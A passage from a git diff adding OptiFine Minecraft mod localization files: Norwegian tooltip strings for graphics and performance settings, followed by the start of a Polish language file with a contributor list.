effekt som gjøre at fjerne objekter ser bedre ut +of.options.MIPMAP_TYPE.tooltip.2=ved Ã¥ utjevne teksturdetaljer. +of.options.MIPMAP_TYPE.tooltip.3= Nærmeste - grov utjevning (hurtigste) +of.options.MIPMAP_TYPE.tooltip.4= Lineær - normal utjevning +of.options.MIPMAP_TYPE.tooltip.5= Bilineær - fin utjevning +of.options.MIPMAP_TYPE.tooltip.6= Trelineær - fineste utjevning (langsomste) + + +of.options.AA_LEVEL=Kantutjevning +of.options.AA_LEVEL.tooltip.1=Kantutjevning +of.options.AA_LEVEL.tooltip.2= AV - ingen kantutjevning (standard), hurtigere +of.options.AA_LEVEL.tooltip.3= 2-16 - kantutjevnede linjer og kanter (langsommere) +of.options.AA_LEVEL.tooltip.4=Kantutjevning glatter ut ujevne linjer og skarpe farge- +of.options.AA_LEVEL.tooltip.5=overganger. +of.options.AA_LEVEL.tooltip.6=Bildefrekvensen kan synke betydelig nÃ¥r dette er aktivert. +of.options.AA_LEVEL.tooltip.7=Alle nivÃ¥er støttes ikke av alle grafikkortester. +of.options.AA_LEVEL.tooltip.8=Krever OMSTART! + +of.options.AF_LEVEL=Anisotropisk filtrering +of.options.AF_LEVEL.tooltip.1=Anisotropisk filtrering +of.options.AF_LEVEL.tooltip.2= AV - standarddetaljer i teksturer (standard), hurtigere +of.options.AF_LEVEL.tooltip.3= 2-16 - finere detaljer i mipmapteksturer (langsommere) +of.options.AF_LEVEL.tooltip.4=Den anisotropiske filtreringen tilbakestiller detaljer i +of.options.AF_LEVEL.tooltip.5=mipmapteksturer. +of.options.AF_LEVEL.tooltip.6=Bildefrekvensen kan synke betydelig nÃ¥r dette er aktivert. + +of.options.CLEAR_WATER=Krystallklart vann +of.options.CLEAR_WATER.tooltip.1=Krystallklart vann +of.options.CLEAR_WATER.tooltip.2= PÃ… - krystallklart, gjennomsiktig vann +of.options.CLEAR_WATER.tooltip.3= AV - standardvann + +of.options.RANDOM_ENTITIES=Tilfeldige enheter +of.options.RANDOM_ENTITIES.tooltip.1=Tilfeldige enheter +of.options.RANDOM_ENTITIES.tooltip.2= AV - ingen tilfeldige enheter, hurtigere +of.options.RANDOM_ENTITIES.tooltip.3= PÃ… - tilfeldige enheter, langsommere +of.options.RANDOM_ENTITIES.tooltip.4=Bruker tilfeldige teksturer for enhetene i spillet. +of.options.RANDOM_ENTITIES.tooltip.5=Krever en ressurspakke med flere enhetsteksturer. + +of.options.BETTER_GRASS=Bedre gress +of.options.BETTER_GRASS.tooltip.1=Bedre gress +of.options.BETTER_GRASS.tooltip.2= AV - standardteksturer for gresskanter, hurtigste +of.options.BETTER_GRASS.tooltip.3= Rask - full tekstur for gresskanter +of.options.BETTER_GRASS.tooltip.4= Stilig - dynamisk tekstur for gresskanter, langsomste + +of.options.BETTER_SNOW=Bedre snø +of.options.BETTER_SNOW.tooltip.1=Bedre snø +of.options.BETTER_SNOW.tooltip.2= AV - standardsnø, hurtigere +of.options.BETTER_SNOW.tooltip.3= PÃ… - bedre snø, langsommere +of.options.BETTER_SNOW.tooltip.4=Viser snø under gjennomsiktige blokker (gjerder, høyt +of.options.BETTER_SNOW.tooltip.5=gress) nÃ¥r de ligger ved siden av snøblokker. + +of.options.CUSTOM_FONTS=Tilpasset skrift +of.options.CUSTOM_FONTS.tooltip.1=Tilpasset skrift +of.options.CUSTOM_FONTS.tooltip.2= PÃ… - bruk tilpasset skrift (standard), langsommere +of.options.CUSTOM_FONTS.tooltip.3= AV - bruk standardskriften, hurtigere +of.options.CUSTOM_FONTS.tooltip.4=De tilpassede skriftene leveres av den nÃ¥værende +of.options.CUSTOM_FONTS.tooltip.5=ressurspakken. + +of.options.CUSTOM_COLORS=Tilpasset farger +of.options.CUSTOM_COLORS.tooltip.1=Tilpasset farger +of.options.CUSTOM_COLORS.tooltip.2= PÃ… - bruk tilpasset farger (standard), langsommere +of.options.CUSTOM_COLORS.tooltip.3= AV - bruk standardfargene, hurtigere +of.options.CUSTOM_COLORS.tooltip.4=De tilpassede fargene leveres av den nÃ¥værende +of.options.CUSTOM_COLORS.tooltip.5=ressurspakken + +of.options.SWAMP_COLORS=Sumpfarger +of.options.SWAMP_COLORS.tooltip.1=Sumpfarger +of.options.SWAMP_COLORS.tooltip.2= PÃ… - bruk sumpfarger (standard), langsommere +of.options.SWAMP_COLORS.tooltip.3= AV - bruk ikke sumpfarger, hurtigere +of.options.SWAMP_COLORS.tooltip.4=Sumpfargene pÃ¥virker gress, løv, lianer og vann. + +of.options.SMOOTH_BIOMES=Utjevning av biomer +of.options.SMOOTH_BIOMES.tooltip.1=Utjevning av biomer +of.options.SMOOTH_BIOMES.tooltip.2= PÃ… - biomkanter glattet ut (standard), langsommere +of.options.SMOOTH_BIOMES.tooltip.3= AV - biomkanter ikke glattet ut, hurtigere +of.options.SMOOTH_BIOMES.tooltip.4=Utjevning av biomkanter gjøres ved prøvetaking og +of.options.SMOOTH_BIOMES.tooltip.5=gjennomsnittsfarge pÃ¥ alle omkringliggende blokker. +of.options.SMOOTH_BIOMES.tooltip.6=PÃ¥virker gress, løv, lianer og vann. + +of.options.CONNECTED_TEXTURES=Tilknyttede teksturer +of.options.CONNECTED_TEXTURES.tooltip.1=Tilknyttede teksturer +of.options.CONNECTED_TEXTURES.tooltip.2= AV - ingen tilknyttede teksturer (standard) +of.options.CONNECTED_TEXTURES.tooltip.3= Rask - raske tilknyttede teksturer +of.options.CONNECTED_TEXTURES.tooltip.4= Stilig - stilige tilknyttede teksturer +of.options.CONNECTED_TEXTURES.tooltip.5=Tilknyttede teksturer fusjonerer teksturene for glass, +of.options.CONNECTED_TEXTURES.tooltip.6=sandstein og bokhyller nÃ¥r de er plassert ved siden av +of.options.CONNECTED_TEXTURES.tooltip.7=hverandre. Tilknyttede teksturer leveres av den +of.options.CONNECTED_TEXTURES.tooltip.8=nÃ¥værende ressurspakken. + +of.options.NATURAL_TEXTURES=Naturlige teksturer +of.options.NATURAL_TEXTURES.tooltip.1=Naturlige teksturer +of.options.NATURAL_TEXTURES.tooltip.2= AV - ingen naturlige teksturer (standard) +of.options.NATURAL_TEXTURES.tooltip.3= PÃ… - bruk naturlige teksturer +of.options.NATURAL_TEXTURES.tooltip.4=Naturlige teksturer fjerner gitterlignende mønstre laget +of.options.NATURAL_TEXTURES.tooltip.5=av gjentatte blokker av samme type. Den bruker roterte +of.options.NATURAL_TEXTURES.tooltip.6=og reflekterte varianter av den opprinnelige blokk- +of.options.NATURAL_TEXTURES.tooltip.7=teksturen. Konfigurasjonen for naturlige teksturer +of.options.NATURAL_TEXTURES.tooltip.8=leveres av den nÃ¥værende ressurspakken. + +of.options.EMISSIVE_TEXTURES=Opplyste teksturer +of.options.EMISSIVE_TEXTURES.tooltip.1=Opplyste teksturer +of.options.EMISSIVE_TEXTURES.tooltip.2= AV - ingen opplyste teksturer (standard) +of.options.EMISSIVE_TEXTURES.tooltip.3= PÃ… - bruk opplyste teksturer +of.options.EMISSIVE_TEXTURES.tooltip.4=De opplyste teksturene blir gjengitt som et overlegg med +of.options.EMISSIVE_TEXTURES.tooltip.5=fullstendig lysstyrke. De kan brukes til Ã¥ simulere +of.options.EMISSIVE_TEXTURES.tooltip.6=opplyste deler av de grunnleggende teksturer. +of.options.EMISSIVE_TEXTURES.tooltip.7=Opplyste teksturer leveres av den nÃ¥værende ressurs- +of.options.EMISSIVE_TEXTURES.tooltip.8=pakken. + +of.options.CUSTOM_SKY=Tilpasset himmel +of.options.CUSTOM_SKY.tooltip.1=Tilpasset himmel +of.options.CUSTOM_SKY.tooltip.2= PÃ… - tilpasset himmeltexturer (standard), langsomt +of.options.CUSTOM_SKY.tooltip.3= AV - standardhimmel, hurtigere +of.options.CUSTOM_SKY.tooltip.4=Teksturene for den tilpassede himmelen leveres av den +of.options.CUSTOM_SKY.tooltip.5=nÃ¥værende ressurspakken. + +of.options.CUSTOM_ITEMS=Tilpassede gjenstander +of.options.CUSTOM_ITEMS.tooltip.1=Tilpassede gjenstander +of.options.CUSTOM_ITEMS.tooltip.2= PÃ… - tilp. gjenstandsteksturer (standard), langsomt +of.options.CUSTOM_ITEMS.tooltip.3= AV - standardteksturer for gjenstander, hurtigere +of.options.CUSTOM_ITEMS.tooltip.4=De tilpassede gjenstandsteksturene leveres av den +of.options.CUSTOM_ITEMS.tooltip.5=nÃ¥værende ressurspakken. + +of.options.CUSTOM_ENTITY_MODELS=Tilpassede enhetsmodeller +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Tilpasset enhetsmodeller +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= PÃ… - tilpasset enhetsmodeller (standard), langsomt +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= AV - standardenhetsmodeller, hurtigere +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=De tilpassede enhetsmodellene leveres av den nÃ¥værende +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=ressurspakken. + +of.options.CUSTOM_GUIS=Tilp. brukergrensesnitt +of.options.CUSTOM_GUIS.tooltip.1=Tilpasset brukergrensesnitt +of.options.CUSTOM_GUIS.tooltip.2= PÃ… - tilp. brukergrensesnitt (standard), langsommere +of.options.CUSTOM_GUIS.tooltip.3= AV - standardbrukergrensesnitt, hurtigere +of.options.CUSTOM_GUIS.tooltip.4=De tilpassede brukergrensesnittene leveres av den +of.options.CUSTOM_GUIS.tooltip.5=nÃ¥værende ressurspakken. + +# Details + +of.options.CLOUDS=Sky +of.options.CLOUDS.tooltip.1=Sky +of.options.CLOUDS.tooltip.2= Standard - følger alternativet "Grafikk" +of.options.CLOUDS.tooltip.3= Rask - lavere kvalitet, hurtigere +of.options.CLOUDS.tooltip.4= Stilig - høyere kvalitet, langsommere +of.options.CLOUDS.tooltip.5= AV - ingen skyer, hurtigste +of.options.CLOUDS.tooltip.6=Raske skyer gjengis i 2D. +of.options.CLOUDS.tooltip.7=Stilige skyer gjengis i 3D. + +of.options.CLOUD_HEIGHT=Skyhøyde +of.options.CLOUD_HEIGHT.tooltip.1=Skyhøyde +of.options.CLOUD_HEIGHT.tooltip.2= AV - standardhøyde +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - over verdens høydegrense + +of.options.TREES=Trær +of.options.TREES.tooltip.1=Trær +of.options.TREES.tooltip.2= Standard - følger alternativet "Grafikk" +of.options.TREES.tooltip.3= Rask - lavere kvalitet, hurtigere +of.options.TREES.tooltip.4= Smart - høyere kvalitet, raskt +of.options.TREES.tooltip.5= Stilig - høyeste kvalitet, langsommere +of.options.TREES.tooltip.6=Raske trær ugjennomsiktige blader. +of.options.TREES.tooltip.7=Stilige og smarte trær har gjennomsiktige blader. + +of.options.RAIN=Regn og snø +of.options.RAIN.tooltip.1=Regn og snø +of.options.RAIN.tooltip.2= Standard - følger alternativet "Grafikk" +of.options.RAIN.tooltip.3= Rask - lett regn/snø, hurtigere +of.options.RAIN.tooltip.4= Stilig - tungt regn/snø, langsommere +of.options.RAIN.tooltip.5= AV - ingen regn/snø, hurtigste +of.options.RAIN.tooltip.6=Regnlyder og nedbør vil fortsatt bli hørt og vises hvis +of.options.RAIN.tooltip.7=regn er slÃ¥tt av. + +of.options.SKY=Himmel +of.options.SKY.tooltip.1=Himmel +of.options.SKY.tooltip.2= PÃ… - himmelen er synlig, langsommere +of.options.SKY.tooltip.3= AV - himmelen er ikke synlig, hurtigere +of.options.SKY.tooltip.4=Hvis himmelen er inaktivert, vil mÃ¥nen og solen fortsatt +of.options.SKY.tooltip.5=være synlig. + +of.options.STARS=Stjerner +of.options.STARS.tooltip.1=Stjerner +of.options.STARS.tooltip.2= PÃ… - stjerner er synlige, langsommere +of.options.STARS.tooltip.3= AV - stjerner er ikke synlige, hurtigere + +of.options.SUN_MOON=Sol og mÃ¥ne +of.options.SUN_MOON.tooltip.1=Sol og mÃ¥ne +of.options.SUN_MOON.tooltip.2= PÃ… - solen og mÃ¥nen er synlige (standard) +of.options.SUN_MOON.tooltip.3= AV - solen og mÃ¥nen er ikke synlige (hurtigere) + +of.options.SHOW_CAPES=Vis kapper +of.options.SHOW_CAPES.tooltip.1=Vis kapper +of.options.SHOW_CAPES.tooltip.2= PÃ… - vis spillernes kapper (standard) +of.options.SHOW_CAPES.tooltip.3= AV - ikke vis spillernes kapper + +of.options.TRANSLUCENT_BLOCKS=Transp. blokker +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Gjennomsiktige blokker +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Standard - følger alternativet "Grafikk" +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Stilig - riktig fargeblanding (standard) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Rask - rask fargeblanding (hurtigere) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Kontrollerer fargeblandingen for gjennomsiktige blokker +of.options.TRANSLUCENT_BLOCKS.tooltip.6=med forskjellige farger (farget glass, vann, is) nÃ¥r de +of.options.TRANSLUCENT_BLOCKS.tooltip.7=er plassert bak hverandre med luft mellom dem. + +of.options.HELD_ITEM_TOOLTIPS=Gjenstandsinfotekst +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Infotekst for gjenstander +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= PÃ… - vis infotekst for holdte gjenstander (standard) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= AV - vis ikke infotekst for holdte gjenstander + +of.options.ADVANCED_TOOLTIPS=Avanserte verktøytips +of.options.ADVANCED_TOOLTIPS.tooltip.1=Avanserte verktøytips +of.options.ADVANCED_TOOLTIPS.tooltip.2= PÃ… - vis avanserte verktøytips +of.options.ADVANCED_TOOLTIPS.tooltip.3= AV - ikke vis avanserte verktøytips (standard) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Avanserte verktøytips viser tilleggsinformasjon om +of.options.ADVANCED_TOOLTIPS.tooltip.5=gjenstander (id, holdbarhet) og shaderalternativer +of.options.ADVANCED_TOOLTIPS.tooltip.6=(id, kilde, standardverdier). + +of.options.DROPPED_ITEMS=Droppede gjenst. +of.options.DROPPED_ITEMS.tooltip.1=Droppede gjenstander +of.options.DROPPED_ITEMS.tooltip.2= Standard - følger alternativet "Grafikk" +of.options.DROPPED_ITEMS.tooltip.3= Rask - gjengis i 2D, hurtigere +of.options.DROPPED_ITEMS.tooltip.4= Stilig - gjengis i 3D, langsommere + +options.entityShadows.tooltip.1=Enhetskygger +options.entityShadows.tooltip.2= PÃ… - vis skygger for enheter +options.entityShadows.tooltip.3= AV - vis ikke skygger for enheter + +of.options.VIGNETTE=Vignett +of.options.VIGNETTE.tooltip.1=Visuell effekt som mørkner skjermens hjørner litt +of.options.VIGNETTE.tooltip.2= Standard - følger alternativet "Grafikk" (standard) +of.options.VIGNETTE.tooltip.3= Rask - vignett er deaktivert (hurtigere) +of.options.VIGNETTE.tooltip.4= Stilig - vignett er aktivert (langsommere) +of.options.VIGNETTE.tooltip.5=Vignetten kan ha en betydelig innvirkning pÃ¥ bilde- +of.options.VIGNETTE.tooltip.6=frekvensen, spesielt nÃ¥r fullskjerm er aktivert. +of.options.VIGNETTE.tooltip.7=Vignetteffekten er veldig diskré og kan slÃ¥s av uten +of.options.VIGNETTE.tooltip.8=fare. + +of.options.DYNAMIC_FOV=Dynamisk synsfelt +of.options.DYNAMIC_FOV.tooltip.1=Dynamisk synsfelt +of.options.DYNAMIC_FOV.tooltip.2= PÃ… - aktivér dynamisk synsfelt (standard) +of.options.DYNAMIC_FOV.tooltip.3= AV - deaktivér dynamisk synsfelt +of.options.DYNAMIC_FOV.tooltip.4=Endrer synsfeltet nÃ¥r du flyr, hopper eller sikter med +of.options.DYNAMIC_FOV.tooltip.5=en bue. + +of.options.DYNAMIC_LIGHTS=Dynamiske lys +of.options.DYNAMIC_LIGHTS.tooltip.1=Dynamiske lys +of.options.DYNAMIC_LIGHTS.tooltip.2= AV - ingen dynamiske lys (standard) +of.options.DYNAMIC_LIGHTS.tooltip.3= Rask - raske dynamiske lys (oppdatert etter 500 ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= Stilig - stilige dynamiske lys (oppdatert i sanntid) +of.options.DYNAMIC_LIGHTS.tooltip.5=Lar gjenstander som utsender lys (fakler, glødestein, +of.options.DYNAMIC_LIGHTS.tooltip.6=etc.) lyse opp omgivelsene nÃ¥r de holdes av deg, andre +of.options.DYNAMIC_LIGHTS.tooltip.7=spillere eller slippes til bakken. + +# Performance + +of.options.SMOOTH_FPS=Jevn bildefrekvens +of.options.SMOOTH_FPS.tooltip.1=Stabiliserer bildefrekvensen ved Ã¥ rydde grafikk- +of.options.SMOOTH_FPS.tooltip.2=driverbufferne. +of.options.SMOOTH_FPS.tooltip.3= AV - ingen stabilisering, bildefrekvensen kan variere +of.options.SMOOTH_FPS.tooltip.4= PÃ… - bildefrekvensen er stabilisert +of.options.SMOOTH_FPS.tooltip.5=Avhenger av grafikkdrivere og er ikke alltid merkbar. + +of.options.SMOOTH_WORLD=Jevn verden +of.options.SMOOTH_WORLD.tooltip.1=Fjerner ytelsesproblemer forÃ¥rsaket av den interne +of.options.SMOOTH_WORLD.tooltip.2=serveren. +of.options.SMOOTH_WORLD.tooltip.3= AV - ingen stabilisering, bildefrekvensen kan variere +of.options.SMOOTH_WORLD.tooltip.4= PÃ… - bildefrekvensen er stabilisert +of.options.SMOOTH_WORLD.tooltip.5=Stabiliserer bildefrekvensen ved Ã¥ distribuere +of.options.SMOOTH_WORLD.tooltip.6=inlastningen av den interne serveren. +of.options.SMOOTH_WORLD.tooltip.7=Fungerer kun pÃ¥ lokale verdener (enkeltspiller). + +of.options.FAST_RENDER=Rask gjengivelse +of.options.FAST_RENDER.tooltip.1=Rask gjengivelse +of.options.FAST_RENDER.tooltip.2= AV - standardgjengivelse (standard) +of.options.FAST_RENDER.tooltip.3= PÃ… - optimalisert gjengivelse (hurtigere) +of.options.FAST_RENDER.tooltip.4=Bruker en optimalisert gjengivelsesalgoritme som senker +of.options.FAST_RENDER.tooltip.5=grafikkprosessorens belastning og kan øke bilde- +of.options.FAST_RENDER.tooltip.6=frekvensen betydelig. + +of.options.FAST_MATH=Rask matematikk +of.options.FAST_MATH.tooltip.1=Rask matematikk +of.options.FAST_MATH.tooltip.2= AV - standardmatematikk (standard) +of.options.FAST_MATH.tooltip.3= PÃ… - hurtigere matematikk +of.options.FAST_MATH.tooltip.4=Bruker optimaliserte sin()- og cos()-funksjoner som +of.options.FAST_MATH.tooltip.5=som bedre kan utnytte prosessorens hurtiglager og øke bilde- +of.options.FAST_MATH.tooltip.6=frekvensen. +of.options.FAST_MATH.tooltip.7=Dette alternativet kan pÃ¥virke verdensgenerasjon minimalt. + +of.options.CHUNK_UPDATES=Verdensbitoppdateringer +of.options.CHUNK_UPDATES.tooltip.1=Verdensbitoppdateringer +of.options.CHUNK_UPDATES.tooltip.2= 1 - langsommere inlastn., høyere bildefrekv. (standard) +of.options.CHUNK_UPDATES.tooltip.3= 3 - hurtigere inlastning, lavere bildefrekvens +of.options.CHUNK_UPDATES.tooltip.4= 5 - hurtigste inlastning, laveste bildefrekvens +of.options.CHUNK_UPDATES.tooltip.5=Antall verdensbitoppdateringer per gjengitt ramme. +of.options.CHUNK_UPDATES.tooltip.6=Høyere verdier kan gjøre bildefrekvensen ustabil. + +of.options.CHUNK_UPDATES_DYNAMIC=Dynamiske oppdateringer +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Dynamiske verdensbitoppdateringer +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= AV - standardantall oppdat. per ramme (standard) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= PÃ… - flere oppdateringer nÃ¥r spilleren stÃ¥r stille +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Dynamiske oppdateringer tvinger flere verdensbit- +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=oppdateringer nÃ¥r spilleren stÃ¥r stille for Ã¥ laste +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.6=verdenen raskere. + +of.options.LAZY_CHUNK_LOADING=Lat verdensbitslastning +of.options.LAZY_CHUNK_LOADING.tooltip.1=Lat verdensbitslastning +of.options.LAZY_CHUNK_LOADING.tooltip.2= AV - standardlastning pÃ¥ servere +of.options.LAZY_CHUNK_LOADING.tooltip.3= PÃ… - lat verdensbitslastning pÃ¥ servere (mer stabilt) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Jevner ut den integrerte verdensbitinlastningen for +of.options.LAZY_CHUNK_LOADING.tooltip.5=serveren ved Ã¥ distribuere verdensbitene pÃ¥ tvers av +of.options.LAZY_CHUNK_LOADING.tooltip.6=flere tickinger. Deaktiver hvis deler av verdenen ikke +of.options.LAZY_CHUNK_LOADING.tooltip.7=lastes inn riktig. Fungerer kun pÃ¥ lokale verdener +of.options.LAZY_CHUNK_LOADING.tooltip.8=(enkeltspiller). + +of.options.RENDER_REGIONS=GjengivelseomrÃ¥der +of.options.RENDER_REGIONS.tooltip.1=GjengivelseomrÃ¥der +of.options.RENDER_REGIONS.tooltip.2= AV - bruk ikke gjengivelseomrÃ¥der (standard) +of.options.RENDER_REGIONS.tooltip.3= PÃ… - bruk gjengivelseomrÃ¥der +of.options.RENDER_REGIONS.tooltip.4=GjengivelseomrÃ¥der gjør at terreng gjengis raskere +of.options.RENDER_REGIONS.tooltip.5=ved høyere gjengivelsesavstand. Mer effektivt nÃ¥r VBO +of.options.RENDER_REGIONS.tooltip.6=er aktivert. +of.options.RENDER_REGIONS.tooltip.7=Ikke anbefalt for integrerte grafikkort. + +of.options.SMART_ANIMATIONS=Smarte animasjoner +of.options.SMART_ANIMATIONS.tooltip.1=Smarte animasjoner +of.options.SMART_ANIMATIONS.tooltip.2= AV - bruk ikke smarte animasjoner (standard) +of.options.SMART_ANIMATIONS.tooltip.3= PÃ… - bruk smarte animasjoner +of.options.SMART_ANIMATIONS.tooltip.4=Med smarte animasjoner, vil spillet bare animere +of.options.SMART_ANIMATIONS.tooltip.5=teksturer som for øyeblikket er synlige pÃ¥ skjermen. +of.options.SMART_ANIMATIONS.tooltip.6=Dette reduserer ytelsesproblemer og øker bilde- +of.options.SMART_ANIMATIONS.tooltip.7=frekvensen. Spesielt nyttig for store modpakker og +of.options.SMART_ANIMATIONS.tooltip.8=ressurspakker i HD. + +# Animations + +of.options.animation.allOn=Alt PÃ… +of.options.animation.allOff=Alt AV +of.options.animation.dynamic=Dynamisk + +of.options.ANIMATED_WATER=Animert vann +of.options.ANIMATED_LAVA=Animert lava +of.options.ANIMATED_FIRE=Animert ild +of.options.ANIMATED_PORTAL=Animerte portaler +of.options.ANIMATED_REDSTONE=Animert redstone +of.options.ANIMATED_EXPLOSION=Animerte eksplosjoner +of.options.ANIMATED_FLAME=Animerte flammer +of.options.ANIMATED_SMOKE=Animert røyk +of.options.VOID_PARTICLES=Underromspartikler +of.options.WATER_PARTICLES=Vannpartikler +of.options.RAIN_SPLASH=Regnskvett +of.options.PORTAL_PARTICLES=Portalpartikler +of.options.POTION_PARTICLES=Bryggpartikler +of.options.DRIPPING_WATER_LAVA=Dryppende vann/lava +of.options.ANIMATED_TERRAIN=Animert terreng +of.options.ANIMATED_TEXTURES=Animerte teksturer +of.options.FIREWORK_PARTICLES=Fyrverkeripartikler + +# Other + +of.options.LAGOMETER=LaggmÃ¥ler +of.options.LAGOMETER.tooltip.1=Vis laggmÃ¥leren pÃ¥ feilsøkingsskjermen (F3). +of.options.LAGOMETER.tooltip.2= * Oransje - Avfallsinnhenting av minne +of.options.LAGOMETER.tooltip.3= * Turkis - Antall tickninger +of.options.LAGOMETER.tooltip.4= * BlÃ¥ - Planlagte kjøringer +of.options.LAGOMETER.tooltip.5= * Lilla - Verdensbitopplastinger +of.options.LAGOMETER.tooltip.6= * Rød - Verdensbitoppdateringer +of.options.LAGOMETER.tooltip.7= * Gul - Synlighetskontroller +of.options.LAGOMETER.tooltip.8= * Grønn - Terrenggjengivelse + +of.options.PROFILER=Feilsøkingsprofilering +of.options.PROFILER.tooltip.1=Feilsøkingsprofilering +of.options.PROFILER.tooltip.2= PÃ… - feilsøkingsprofileringen kjører, langsommere +of.options.PROFILER.tooltip.3= AV - feilsøkingsprofileringen kjører ikke, hurtigere +of.options.PROFILER.tooltip.4=Feilsøkingsprofileringen samler inn og viser feilsøkings- +of.options.PROFILER.tooltip.5=informasjon nÃ¥r feilsøkingsskjermen er Ã¥pen (F3). + +of.options.WEATHER=Vær +of.options.WEATHER.tooltip.1=Vær +of.options.WEATHER.tooltip.2= PÃ… - vær er aktivert, langsommere +of.options.WEATHER.tooltip.3= AV - vær er deaktivert, hurtigere +of.options.WEATHER.tooltip.4=Denne innstillingen inkluderer regn, snø og torden. +of.options.WEATHER.tooltip.5=Dette fungerer bare i lokale verdener. + +of.options.time.dayOnly=Kun dag +of.options.time.nightOnly=Kun natt + +of.options.TIME=Tid +of.options.TIME.tooltip.1=Tid +of.options.TIME.tooltip.2= Standard - vanlige natt-/dagsykluser +of.options.TIME.tooltip.3= Kun dag - dag hele tiden +of.options.TIME.tooltip.4= Kun natt - natt hele tiden +of.options.TIME.tooltip.5=Tidsinnstillingen fungerer bare i KREATIV modus og i +of.options.TIME.tooltip.6=lokale verdener. + +options.fullscreen.tooltip.1=Fullskjerm +options.fullscreen.tooltip.2= PÃ… - bruk fullskjermsmodus +options.fullscreen.tooltip.3= AV - bruk vindusmodus +options.fullscreen.tooltip.4=Fullskjermmodus kan være raskere eller langsommere enn +options.fullscreen.tooltip.5=vindusmodus, avhengig av grafikkortet. + +of.options.FULLSCREEN_MODE=Fullskjermsmodus +of.options.FULLSCREEN_MODE.tooltip.1=Fullskjermsmodus +of.options.FULLSCREEN_MODE.tooltip.2= Standard - bruk datamaskinens oppløsning, langsommere +of.options.FULLSCREEN_MODE.tooltip.3= BxH - bruk tilpasset oppløsning, kan være raskere +of.options.FULLSCREEN_MODE.tooltip.4=Den valgte oppløsningen brukes i fullskjermmodus (F11). +of.options.FULLSCREEN_MODE.tooltip.5=Lavere oppløsninger bør vanligvis være raskere. + +of.options.SHOW_FPS=Vis bildefrekvens +of.options.SHOW_FPS.tooltip.1=Viser kort informasjon om bildefrekvens og gjengivelse. +of.options.SHOW_FPS.tooltip.2= fps - bildefrekvensens gjennomsnitt/minimum +of.options.SHOW_FPS.tooltip.3= C: - antall verdensbitgjengivelser +of.options.SHOW_FPS.tooltip.4= E: - antall gjengitte enheter + blokkenheter +of.options.SHOW_FPS.tooltip.5= U: - antall verdensbitoppdateringer +of.options.SHOW_FPS.tooltip.6=Informasjonen vises bare nÃ¥r feilsøkingsskjermen (F3) +of.options.SHOW_FPS.tooltip.7=ikke er Ã¥pen. + +of.options.save.default=Standard (2 s) +of.options.save.20s=20 s +of.options.save.3min=3 min +of.options.save.30min=30 min + +of.options.AUTOSAVE_TICKS=Autolagring +of.options.AUTOSAVE_TICKS.tooltip.1=Intervall for automatisk lagring. +of.options.AUTOSAVE_TICKS.tooltip.2=Standardintervallet (2 s) er IKKE ANBEFALT. +of.options.AUTOSAVE_TICKS.tooltip.3=Automatisk lagring forÃ¥rsaker et ukjent ytelsesproblem. + +of.options.SCREENSHOT_SIZE=Skjermbildestr. +of.options.SCREENSHOT_SIZE.tooltip.1=Skjermbildestørrelse +of.options.SCREENSHOT_SIZE.tooltip.2= Standard - standardstørrelse pÃ¥ skjermbilder +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - tilpasset størrelse pÃ¥ skjermbilder +of.options.SCREENSHOT_SIZE.tooltip.4=Større skjermbilder kan kreve mer minne. +of.options.SCREENSHOT_SIZE.tooltip.5=Ikke kompatibel med Rask gjengivelse og Kantutjevning. +of.options.SCREENSHOT_SIZE.tooltip.6=Krever grafikkprosessoren for Ã¥ støtte framebuffer. + +of.options.SHOW_GL_ERRORS=Vis OpenGL-feil +of.options.SHOW_GL_ERRORS.tooltip.1=Vis OpenGL-feil +of.options.SHOW_GL_ERRORS.tooltip.2=OpenGL-feil vises i nettpraten nÃ¥r dette er aktivert. +of.options.SHOW_GL_ERRORS.tooltip.3=Deaktiver bare dette hvis det er en kjent konflikt og +of.options.SHOW_GL_ERRORS.tooltip.4=feilene kan ikke løses. +of.options.SHOW_GL_ERRORS.tooltip.5=NÃ¥r dette er deaktivert vil feilene fortsatt bli registrert +of.options.SHOW_GL_ERRORS.tooltip.6=i feilloggen og kan fortsatt føre til at bildefrekvensen +of.options.SHOW_GL_ERRORS.tooltip.7=synker betydelig. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Nettpratbakgrunn +of.options.CHAT_BACKGROUND.tooltip.1=Nettpratbakgrunn +of.options.CHAT_BACKGROUND.tooltip.2= Standard - fast bredde +of.options.CHAT_BACKGROUND.tooltip.3= Kompakt - følger linjebredden +of.options.CHAT_BACKGROUND.tooltip.4= AV - skjult + +of.options.CHAT_SHADOW=Nettpratskygge +of.options.CHAT_SHADOW.tooltip.1=Nettpratskygge +of.options.CHAT_SHADOW.tooltip.2= PÃ… - bruk tekstskygge +of.options.CHAT_SHADOW.tooltip.3= AV - ingen tekstskygge diff --git a/src/assets/minecraft/optifine/lang/pl_pl.lang b/src/assets/minecraft/optifine/lang/pl_pl.lang new file mode 100644 index 00000000..13eeb651 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/pl_pl.lang @@ -0,0 +1,767 @@ +# Contributors of Polish localization # +# Kamil7430 2016-03-14 -- 2017-03-12 # +# Puuska 2017-07-15 -- 2018-01-31 # +# Kamil7430 2018-07-30 -- ????? # +# ravkr 2019-08-25 -- ????? # + +# General +of.general.ambiguous=dwuznaczny +of.general.compact=Kompaktowe +of.general.custom=Inny +of.general.from=Od +of.general.id=Id +of.general.max=Maksimum 